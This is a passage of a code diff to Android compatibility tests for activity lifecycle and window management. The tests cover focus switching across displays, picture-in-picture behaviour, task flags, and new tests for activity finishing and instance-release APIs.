- final ActivityManagerState.ActivityDisplay newDisplay
- = virtualDisplaySession.setSimulateDisplay(true).createDisplay();
+ // Create new simulated display.
+ final ActivityManagerState.DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
- // Launch an activity on new secondary display.
- final Class<? extends Activity> secondActivityClass =
- SecondProcessCallbackTrackingActivity.class;
- final ComponentName secondActivityComponent =
- new ComponentName(getTargetContext(), secondActivityClass);
+ // Launch an activity on new secondary display.
+ final Class<? extends Activity> secondActivityClass =
+ SecondProcessCallbackTrackingActivity.class;
+ final ComponentName secondActivityComponent =
+ new ComponentName(mTargetContext, secondActivityClass);
- getLaunchActivityBuilder()
- .setTargetActivity(secondActivityComponent)
- .setUseInstrumentation()
- .setDisplayId(newDisplay.mId)
- .execute();
- waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
+ getLaunchActivityBuilder()
+ .setTargetActivity(secondActivityComponent)
+ .setUseInstrumentation()
+ .setDisplayId(newDisplay.mId)
+ .execute();
+ waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED));
- // Launch activity on default display, which will be slow to release top position
- getLifecycleLog().clear();
- final ActivityOptions launchOptions = ActivityOptions.makeBasic();
- launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
- final Class defaultActivityClass = SlowActivity.class;
- final Intent defaultDisplaySlowIntent = new Intent(mContext, defaultActivityClass);
- defaultDisplaySlowIntent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
- defaultDisplaySlowIntent.putExtra(SlowActivity.EXTRA_CONTROL_FLAGS,
- SlowActivity.FLAG_TIMEOUT_TOP_RESUME_RELEASE);
- mTargetContext.startActivity(defaultDisplaySlowIntent, launchOptions.toBundle());
+ // Launch activity on default display, which will be slow to release top position.
+ getLifecycleLog().clear();
+ final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+ launchOptions.setLaunchDisplayId(DEFAULT_DISPLAY);
+ final Class<? extends Activity> defaultActivityClass = SlowActivity.class;
+ final Intent defaultDisplaySlowIntent = new Intent(mContext, defaultActivityClass);
+ defaultDisplaySlowIntent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+ defaultDisplaySlowIntent.putExtra(SlowActivity.EXTRA_CONTROL_FLAGS,
+ SlowActivity.FLAG_TIMEOUT_TOP_RESUME_RELEASE);
+ mTargetContext.startActivity(defaultDisplaySlowIntent, launchOptions.toBundle());
- waitAndAssertTopResumedActivity(getComponentName(SlowActivity.class),
- DEFAULT_DISPLAY, "Activity launched on default display must be focused");
+ waitAndAssertTopResumedActivity(getComponentName(SlowActivity.class),
+ DEFAULT_DISPLAY, "Activity launched on default display must be focused");
- // Wait and assert focus switch
- waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
- state(defaultActivityClass, ON_TOP_POSITION_GAINED));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
- transition(secondActivityClass, ON_TOP_POSITION_LOST),
- transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
- "launchOnDifferentDisplay");
+ // Wait and assert focus switch.
+ waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_LOST),
+ state(defaultActivityClass, ON_TOP_POSITION_GAINED));
+ LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ transition(secondActivityClass, ON_TOP_POSITION_LOST),
+ transition(defaultActivityClass, ON_TOP_POSITION_GAINED)),
+ "launchOnDifferentDisplay");
- // Tap on secondary display to switch the top activity
- getLifecycleLog().clear();
- tapOnDisplayCenter(newDisplay.mId);
+ // Tap on secondary display to switch the top activity.
+ getLifecycleLog().clear();
+ tapOnDisplayCenter(newDisplay.mId);
- // Wait and assert top resumed position switch. Because of timeout top position gain
- // will appear before top position loss handling is finished.
- waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
- state(defaultActivityClass, ON_TOP_POSITION_LOST));
- LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
- transition(secondActivityClass, ON_TOP_POSITION_GAINED),
- transition(defaultActivityClass, ON_TOP_POSITION_LOST)),
- "tapOnDifferentDisplay");
+ // Wait and assert top resumed position switch. Because of timeout top position gain
+ // will appear before top position loss handling is finished.
+ waitAndAssertActivityStates(state(secondActivityClass, ON_TOP_POSITION_GAINED),
+ state(defaultActivityClass, ON_TOP_POSITION_LOST));
+ LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+ transition(secondActivityClass, ON_TOP_POSITION_GAINED),
+ transition(defaultActivityClass, ON_TOP_POSITION_LOST)),
+ "tapOnDifferentDisplay");
- // Wait 5 seconds more to make sure that no new messages received after top resumed state
- // released by the slow activity
- getLifecycleLog().clear();
- Thread.sleep(5000);
- LifecycleVerifier.assertEmptySequence(defaultActivityClass, getLifecycleLog(),
- "topStateLossTimeout");
- LifecycleVerifier.assertEmptySequence(secondActivityClass, getLifecycleLog(),
- "topStateLossTimeout");
- }
+ // Wait 5 seconds more to make sure that no new messages received after top resumed state
+ // released by the slow activity
+ getLifecycleLog().clear();
+ SystemClock.sleep(5000);
+ LifecycleVerifier.assertEmptySequence(defaultActivityClass, getLifecycleLog(),
+ "topStateLossTimeout");
+ LifecycleVerifier.assertEmptySequence(secondActivityClass, getLifecycleLog(),
+ "topStateLossTimeout");
+ }
+
+ @FlakyTest(bugId=137329632)
+ @Test
+ public void testFinishOnDifferentDisplay_nonFocused() throws Exception {
+ assumeTrue(supportsMultiDisplay());
+
+ // Launch activity on some display.
+ final Activity callbackTrackingActivity =
+ launchActivityAndWait(CallbackTrackingActivity.class);
+
+ waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
+ DEFAULT_DISPLAY, "Activity launched on default display must be focused");
+
+ // Create new simulated display.
+ final ActivityManagerState.DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+
+ // Launch another activity on new secondary display.
+ getLifecycleLog().clear();
+ final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+ launchOptions.setLaunchDisplayId(newDisplay.mId);
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setOptions(launchOptions)
+ .launch();
+ waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
+ newDisplay.mId, "Activity launched on secondary display must be focused");
+ // An activity is launched on the new display, so the activity on default display should
+ // lose the top state.
+ LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ Arrays.asList(ON_TOP_POSITION_LOST), "launchFocusSwitch");
+
+ // Finish the activity on the default display.
+ getLifecycleLog().clear();
+ callbackTrackingActivity.finish();
+
+ // Verify that activity was actually destroyed.
+ waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_DESTROY));
+ // Verify that the original focused display is not affected by the finished activity on
+ // non-focused display.
+ LifecycleVerifier.assertEmptySequence(SingleTopActivity.class, getLifecycleLog(),
+ "destructionOnDifferentDisplay");
+ }
+
+ @FlakyTest(bugId=137329632)
+ @Test
+ public void testFinishOnDifferentDisplay_focused() throws Exception {
+ assumeTrue(supportsMultiDisplay());
+
+ // Launch activity on some display.
+ final Activity bottomActivity = launchActivityAndWait(SecondActivity.class);
+ final Activity callbackTrackingActivity =
+ launchActivityAndWait(CallbackTrackingActivity.class);
+
+ waitAndAssertTopResumedActivity(getComponentName(CallbackTrackingActivity.class),
+ DEFAULT_DISPLAY, "Activity launched on default display must be focused");
+
+ // Create new simulated display.
+ final ActivityManagerState.DisplayContent newDisplay = createManagedVirtualDisplaySession()
+ .setSimulateDisplay(true)
+ .createDisplay();
+
+ // Launch another activity on new secondary display.
+ getLifecycleLog().clear();
+ final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+ launchOptions.setLaunchDisplayId(newDisplay.mId);
+ new Launcher(SingleTopActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK)
+ .setOptions(launchOptions)
+ .launch();
+ waitAndAssertTopResumedActivity(getComponentName(SingleTopActivity.class),
+ newDisplay.mId, "Activity launched on secondary display must be focused");
+
+ // Bring the focus back.
+ final Intent sameInstanceIntent = new Intent(mContext, CallbackTrackingActivity.class);
+ sameInstanceIntent.setFlags(FLAG_ACTIVITY_REORDER_TO_FRONT);
+ bottomActivity.startActivity(sameInstanceIntent, null);
+ waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
+
+ // Finish the focused activity
+ getLifecycleLog().clear();
+ callbackTrackingActivity.finish();
+
+ // Verify that lifecycle of the activity on a different display did not change.
+ // Top resumed state will be given to home activity on that display.
+ waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_DESTROY),
+ state(SecondActivity.class, ON_RESUME));
+ LifecycleVerifier.assertEmptySequence(SingleTopActivity.class, getLifecycleLog(),
+ "destructionOnDifferentDisplay");
}
@Test
+ @FlakyTest(bugId=127741025)
public void testTopPositionNotSwitchedToPip() throws Exception {
assumeTrue(supportsPip());
// Launch first activity
- final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+ final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
// Clear the log before launching to Pip
- waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
getLifecycleLog().clear();
// Launch Pip-capable activity and enter Pip immediately
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
+ final Activity pipActivity = new Launcher(PipActivity.class)
+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .setExpectedState(ON_PAUSE)
+ .launch();
- // Wait and assert lifecycle
- waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
- // PipMenuActivity will start and briefly get the top position, so we ignore the rest
- // of the possibilities.
+ // The PipMenuActivity could start anytime after moving pipActivity to pinned stack,
+ // however, we cannot control when would it start or finish, so this test could fail when
+ // PipMenuActivity just start and pipActivity call finish almost at the same time.
+ // So the strategy here is to wait the PipMenuActivity start and finish after pipActivity
+ // moved to pinned stack and paused, because pipActivity is not focusable but the
+ // PipMenuActivity is focusable, when the pinned stack gain top focus means the
+ // PipMenuActivity is launched and resumed, then when pinned stack lost top focus means the
+ // PipMenuActivity is finished.
+ mAmWmState.waitWindowingModeTopFocus(WINDOWING_MODE_PINNED, true /* topFocus */
+ , "wait PipMenuActivity get top focus");
+ mAmWmState.waitWindowingModeTopFocus(WINDOWING_MODE_PINNED, false /* topFocus */
+ , "wait PipMenuActivity lost top focus");
+ waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
+
LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
transition(CallbackTrackingActivity.class, ON_PAUSE),
@@ -1030,27 +1121,24 @@
assumeTrue(supportsPip());
// Launch first activity
- final Activity activity = mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+ final Activity activity = launchActivityAndWait(CallbackTrackingActivity.class);
// Clear the log before launching to Pip
- waitAndAssertActivityStates(state(activity, ON_TOP_POSITION_GAINED));
getLifecycleLog().clear();
// Launch Pip-capable activity and enter Pip immediately
- final Activity pipActivity = mPipActivityTestRule.launchActivity(
- new Intent().putExtra(EXTRA_ENTER_PIP, true));
-
- // Wait and assert lifecycle
- waitAndAssertActivityStates(state(pipActivity, ON_PAUSE));
+ final Activity pipActivity = new Launcher(PipActivity.class)
+ .setExtraFlags(EXTRA_ENTER_PIP)
+ .setExpectedState(ON_PAUSE)
+ .launch();
// Launch always focusable activity into PiP
// Notice that do not clear the lifecycle log here, because it may clear the event
// ON_TOP_POSITION_LOST of CallbackTrackingActivity if PipMenuActivity is started earlier.
- final Activity alwaysFocusableActivity = mAlwaysFocusableActivityTestRule.launchActivity(
- new Intent());
+ final Activity alwaysFocusableActivity =
+ launchActivityAndWait(AlwaysFocusablePipActivity.class);
waitAndAssertActivityStates(state(pipActivity, ON_STOP),
- state(alwaysFocusableActivity, ON_TOP_POSITION_GAINED),
state(activity, ON_TOP_POSITION_LOST));
LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
transition(CallbackTrackingActivity.class, ON_TOP_POSITION_LOST),
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index b6fb802..a4111a0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -21,22 +21,27 @@
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.content.Intent.FLAG_ACTIVITY_PREVIOUS_IS_TOP;
+import static android.content.Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED;
import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
import static android.server.wm.ActivityManagerState.STATE_DESTROYED;
import static android.server.wm.ActivityManagerState.STATE_RESUMED;
import static android.server.wm.ComponentNameUtils.getActivityName;
import static android.server.wm.app.Components.ALIAS_TEST_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY;
-import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.platform.test.annotations.Presubmit;
+
+import androidx.test.filters.FlakyTest;
+
import android.server.wm.ActivityLauncher;
import org.junit.Test;
@@ -46,6 +51,7 @@
* atest CtsWindowManagerDeviceTestCases:ActivityStarterTests
*/
@Presubmit
+@android.server.wm.annotation.Group3
public class ActivityStarterTests extends ActivityLifecycleClientTestBase {
private static final ComponentName STANDARD_ACTIVITY
@@ -76,17 +82,19 @@
@Test
public void testClearTopNewTaskResetTask() throws Exception {
// Start activity normally
- final Activity initialActivity = mFirstActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(initialActivity, ON_RESUME));
+ launchActivityAndWait(FirstActivity.class);
// Navigate home
launchHomeActivity();
+ waitAndAssertActivityStates(state(FirstActivity.class, ON_STOP));
+ getLifecycleLog().clear();
// Start activity again with flags in question. Verify activity is resumed.
- final Intent intent = new Intent().addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP
- | Intent.FLAG_ACTIVITY_NEW_TASK
- | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
- final Activity secondLaunchActivity = mFirstActivityTestRule.launchActivity(intent);
+ // A new instance of activity will be created, and the old one destroyed.
+ final Activity secondLaunchActivity = new Launcher(FirstActivity.class)
+ .setFlags(FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_NEW_TASK
+ | FLAG_ACTIVITY_RESET_TASK_IF_NEEDED)
+ .launch();
mAmWmState.waitForActivityState(secondLaunchActivity.getComponentName(), STATE_RESUMED);
assertEquals("The activity should be started and be resumed",
getActivityName(secondLaunchActivity.getComponentName()),
@@ -233,7 +241,7 @@
// Launch a single task activity again.
launchActivity(SINGLE_TASK_ACTIVITY);
- mAmWmState.waitForActivityState(SECOND_STANDARD_ACTIVITY, STATE_DESTROYED);
+ mAmWmState.waitForActivityRemoved(SECOND_STANDARD_ACTIVITY);
// Make sure the number of instances for single task activity is only one.
assertEquals("Instance of single task activity in its task must be only one", 1,
@@ -321,6 +329,7 @@
// Launch a standard activity
getLaunchActivityBuilder()
.setTargetActivity(STANDARD_ACTIVITY)
+ .setUseInstrumentation()
.execute();
final int taskId = mAmWmState.getAmState().getTaskByActivity(STANDARD_ACTIVITY).getTaskId();
@@ -328,13 +337,13 @@
// Launch a second standard activity
getLaunchActivityBuilder()
.setTargetActivity(SECOND_STANDARD_ACTIVITY)
- .setLaunchingActivity(TEST_LAUNCHING_ACTIVITY)
+ .setUseInstrumentation()
.execute();
// Launch a standard activity again with CLEAR_TOP_FLAG
getLaunchActivityBuilder()
.setTargetActivity(STANDARD_ACTIVITY)
- .setLaunchingActivity(TEST_LAUNCHING_ACTIVITY)
+ .setUseInstrumentation()
.setIntentFlags(FLAG_ACTIVITY_CLEAR_TOP)
.execute();
@@ -354,11 +363,9 @@
mAmWmState.getAmState().getTaskByActivity(STANDARD_ACTIVITY).getTaskId());
// Make sure the second standard activity is finished.
final String waitFinishMsg = "Instance of second standard activity must not exist";
- mAmWmState.waitForWithAmState((amState) ->
- 0 == amState.getActivityCountInTask(taskId, SECOND_STANDARD_ACTIVITY),
- waitFinishMsg);
- assertEquals(waitFinishMsg, 0,
- mAmWmState.getAmState().getActivityCountInTask(taskId, SECOND_STANDARD_ACTIVITY));
+ assertTrue(waitFinishMsg, mAmWmState.waitForWithAmState(
+ amState -> 0 == amState.getActivityCountInTask(taskId, SECOND_STANDARD_ACTIVITY),
+ waitFinishMsg));
}
@Test
@@ -391,6 +398,7 @@
public void testLaunchActivityWithFlagSingleTop() {
// Launch a standard activity
getLaunchActivityBuilder()
+ .setUseInstrumentation()
.setTargetActivity(STANDARD_ACTIVITY)
.execute();
@@ -400,7 +408,7 @@
// This standard activity launches a standard activity with single top flag.
getLaunchActivityBuilder()
.setTargetActivity(STANDARD_SINGLE_TOP_ACTIVITY)
- .setLaunchingActivity(TEST_LAUNCHING_ACTIVITY)
+ .setUseInstrumentation()
.setIntentFlags(FLAG_ACTIVITY_SINGLE_TOP)
.execute();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
new file mode 100644
index 0000000..c0cc598
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm.lifecycle;
+
+import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESTART;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_RESUME;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_START;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
+import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
+import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+
+import android.app.Activity;
+import android.platform.test.annotations.Presubmit;
+
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.MediumTest;
+
+import org.junit.Test;
+
+import java.util.Arrays;
+
+/**
+ * Tests for {@link Activity} class APIs.
+ *
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:ActivityTests
+ */
+@Presubmit
+@MediumTest
+@android.server.wm.annotation.Group3
+public class ActivityTests extends ActivityLifecycleClientTestBase {
+ @Test
+ public void testReleaseActivityInstance_visible() throws Exception {
+ final Activity activity = launchActivityAndWait(FirstActivity.class);
+ waitAndAssertActivityStates(state(activity, ON_RESUME));
+
+ getLifecycleLog().clear();
+ assertFalse("Launched and visible activity must be released", activity.releaseInstance());
+ LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(),
+ "tryReleaseInstance");
+ }
+
+ @Test
+ public void testReleaseActivityInstance_invisible() throws Exception {
+ // Launch two activities - second one to cover the first one and make it invisible.
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+ final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+ waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
+ state(firstActivity, ON_STOP));
+ // Wait for activity to report saved state to the server.
+ getInstrumentation().waitForIdleSync();
+
+ // Release the instance of the non-visible activity below.
+ getLifecycleLog().clear();
+ assertTrue("It must be possible to release an instance of an invisible activity",
+ firstActivity.releaseInstance());
+ waitAndAssertActivityStates(state(firstActivity, ON_DESTROY));
+ LifecycleVerifier.assertEmptySequence(SecondActivity.class, getLifecycleLog(),
+ "releaseInstance");
+
+ // Finish the top activity to navigate back to the first one and re-create it.
+ getLifecycleLog().clear();
+ secondActivity.finish();
+ waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
+ LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
+ }
+
+ /**
+ * Verify that {@link Activity#finishAndRemoveTask()} removes all activities in task if called
+ * for root of task.
+ */
+ @FlakyTest(bugId=137329632)
+ @Test
+ public void testFinishTask_FromRoot() throws Exception {
+ final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
+ final Activity rootActivity = launchActivityAndWait(rootActivityClass);
+ final Class<? extends Activity> topActivityClass = SecondCallbackTrackingActivity.class;
+ final Activity topActivity = launchActivityAndWait(topActivityClass);
+ waitAndAssertActivityStates(state(rootActivity, ON_STOP),
+ state(topActivity, ON_TOP_POSITION_GAINED));
+
+ getLifecycleLog().clear();
+ rootActivity.finishAndRemoveTask();
+
+ waitAndAssertActivityStates(state(rootActivity, ON_DESTROY),
+ state(topActivity, ON_DESTROY));
+ // Cannot guarantee exact sequence among top and bottom activities, so verifying
+ // independently
+ LifecycleVerifier.assertSequence(rootActivityClass, getLifecycleLog(),
+ Arrays.asList(ON_DESTROY), "finishAndRemoveTask");
+ LifecycleVerifier.assertSequence(topActivityClass, getLifecycleLog(),
+ Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY),
+ "finishAndRemoveTask");
+ }
+
+ /**
+ * Verify that {@link Activity#finishAndRemoveTask()} removes all activities in task if called
+ * for root of task. This version verifies lifecycle when top activity is translucent
+ */
+ @FlakyTest(bugId=137329632)
+ @Test
+ public void testFinishTask_FromRoot_TranslucentOnTop() throws Exception {
+ final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
+ final Activity rootActivity = launchActivityAndWait(rootActivityClass);
+ final Class<? extends Activity> topActivityClass =
+ TranslucentCallbackTrackingActivity.class;
+ final Activity topActivity = launchActivityAndWait(topActivityClass);
+ waitAndAssertActivityStates(state(rootActivity, ON_PAUSE),
+ state(topActivity, ON_TOP_POSITION_GAINED));
+
+ getLifecycleLog().clear();
+ rootActivity.finishAndRemoveTask();
+
+ waitAndAssertActivityStates(state(rootActivity, ON_DESTROY),
+ state(topActivity, ON_DESTROY));
+ // Cannot guarantee exact sequence among top and bottom activities, so verifying
+ // independently
+ LifecycleVerifier.assertSequence(rootActivityClass, getLifecycleLog(),
+ Arrays.asList(ON_STOP, ON_DESTROY), "finishAndRemoveTask");
+ LifecycleVerifier.assertSequence(topActivityClass, getLifecycleLog(),
+ Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY),
+ "finishAndRemoveTask");
+ }
+
+ /**
+ * Verify that {@link Activity#finishAndRemoveTask()} only removes one activity in task if
+ * called not for root of task.
+ */
+ @FlakyTest(bugId=137329632)
+ @Test
+ public void testFinishTask_NotFromRoot() throws Exception {
+ final Class<? extends Activity> rootActivityClass = CallbackTrackingActivity.class;
+ final Activity rootActivity = launchActivityAndWait(rootActivityClass);
+ final Class<? extends Activity> midActivityClass = SecondActivity.class;
+ final Activity midActivity = launchActivityAndWait(midActivityClass);
+ final Class<? extends Activity> topActivityClass = SecondCallbackTrackingActivity.class;
+ final Activity topActivity = launchActivityAndWait(topActivityClass);
+ waitAndAssertActivityStates(state(rootActivity, ON_STOP), state(midActivity, ON_STOP),
+ state(topActivity, ON_TOP_POSITION_GAINED));
+
+ getLifecycleLog().clear();
+ midActivity.finishAndRemoveTask();
+
+ waitAndAssertActivityStates(state(midActivity, ON_DESTROY));
+ LifecycleVerifier.assertEntireSequence(Arrays.asList(
+ transition(midActivityClass, ON_DESTROY)), getLifecycleLog(),
+ "finishAndRemoveTask");
+ }
+
+ /**
+ * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity that has a
+ * transition set.
+ */
+ @FlakyTest(bugId=137329632)
+ @Test
+ public void testFinishAfterTransition() throws Exception {
+ final TransitionSourceActivity rootActivity =
+ (TransitionSourceActivity) launchActivityAndWait(TransitionSourceActivity.class);
+ waitAndAssertActivityStates(state(rootActivity, ON_RESUME));
+
+ // Launch activity with configured shared element transition. It will call
+ // finishAfterTransition() on its own after transition completes.
+ rootActivity.runOnUiThread(() -> rootActivity.launchActivityWithTransition());
+ waitAndAssertActivityStates(state(TransitionDestinationActivity.class, ON_DESTROY),
+ state(rootActivity, ON_RESUME));
+ LifecycleVerifier.assertLaunchAndDestroySequence(TransitionDestinationActivity.class,
+ getLifecycleLog());
+ }
+
+ /**
+ * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity with no
+ * transition set (root of task).
+ */
+ @Test
+ public void testFinishAfterTransition_noTransition_rootOfTask() throws Exception {
+ final Activity activity = launchActivityAndWait(FirstActivity.class);
+ waitAndAssertActivityStates(state(activity, ON_RESUME));
+
+ getLifecycleLog().clear();
+ activity.finishAfterTransition();
+ waitAndAssertActivityStates(state(FirstActivity.class, ON_DESTROY));
+ LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+ Arrays.asList(ON_PAUSE, ON_STOP, ON_DESTROY), "finishAfterTransition");
+ }
+
+ /**
+ * Verify the lifecycle of {@link Activity#finishAfterTransition()} for activity with no
+ * transition set.
+ */
+ @FlakyTest(bugId=137329632)
+ @Test
+ public void testFinishAfterTransition_noTransition() throws Exception {
+ final Activity rootActivity = launchActivityAndWait(FirstActivity.class);
+ final Activity topActivity = launchActivityAndWait(SecondActivity.class);
+ waitAndAssertActivityStates(state(topActivity, ON_RESUME), state(rootActivity, ON_STOP));
+
+ getLifecycleLog().clear();
+ topActivity.finishAfterTransition();
+ waitAndAssertActivityStates(state(SecondActivity.class, ON_DESTROY));
+ LifecycleVerifier.assertSequence(SecondActivity.class, getLifecycleLog(),
+ Arrays.asList(ON_PAUSE, ON_STOP, ON_DESTROY), "finishAfterTransition");
+ }
+
+ /**
+ * Verify that {@link Activity#finishAffinity()} will finish all activities with the same
+ * affinity below the target activity.
+ */
+ @Test
+ public void testFinishAffinity() throws Exception {
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+ final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
+ final Activity thirdActivity = launchActivityAndWait(ThirdActivity.class);
+ waitAndAssertActivityStates(state(thirdActivity, ON_RESUME), state(secondActivity, ON_STOP),
+ state(firstActivity, ON_STOP));
+
+ getLifecycleLog().clear();
+ secondActivity.finishAffinity();
+ waitAndAssertActivityStates(state(FirstActivity.class, ON_DESTROY),
+ state(SecondActivity.class, ON_DESTROY));
+ LifecycleVerifier.assertEmptySequence(ThirdActivity.class, getLifecycleLog(),
+ "finishAffinityBelow");
+ }
+
+ /**
+ * Verify that {@link Activity#finishAffinity()} will not finish activities with different
+ * affinities in the same task.
+ */
+ @Test
+ public void testFinishAffinity_differentAffinity() throws Exception {
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+ final Activity differentAffinityActivity =
+ launchActivityAndWait(DifferentAffinityActivity.class);
+ waitAndAssertActivityStates(state(differentAffinityActivity, ON_RESUME),
+ state(firstActivity, ON_STOP));
+
+ getLifecycleLog().clear();
+ differentAffinityActivity.finishAffinity();
+ waitAndAssertActivityStates(state(DifferentAffinityActivity.class, ON_DESTROY));
+ LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+ Arrays.asList(ON_RESTART, ON_START, ON_RESUME), "finishAffinity");
+ }
+
+ /**
+ * Verify that {@link Activity#finishAffinity()} will not finish activities with the same
+ * affinity in different tasks.
+ */
+ @Test
+ public void testFinishAffinity_multiTask() throws Exception {
+ final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+ // Launch activity in a new task
+ final Activity secondActivity = new Launcher(SecondActivity.class)
+ .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+ .launch();
+ waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
+ state(firstActivity, ON_STOP));
+
+ getLifecycleLog().clear();
+ secondActivity.finishAffinity();
+ waitAndAssertActivityStates(state(SecondActivity.class, ON_DESTROY),
+ state(firstActivity, ON_RESUME));
+ }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index 32df6b7..2aecea9 100644
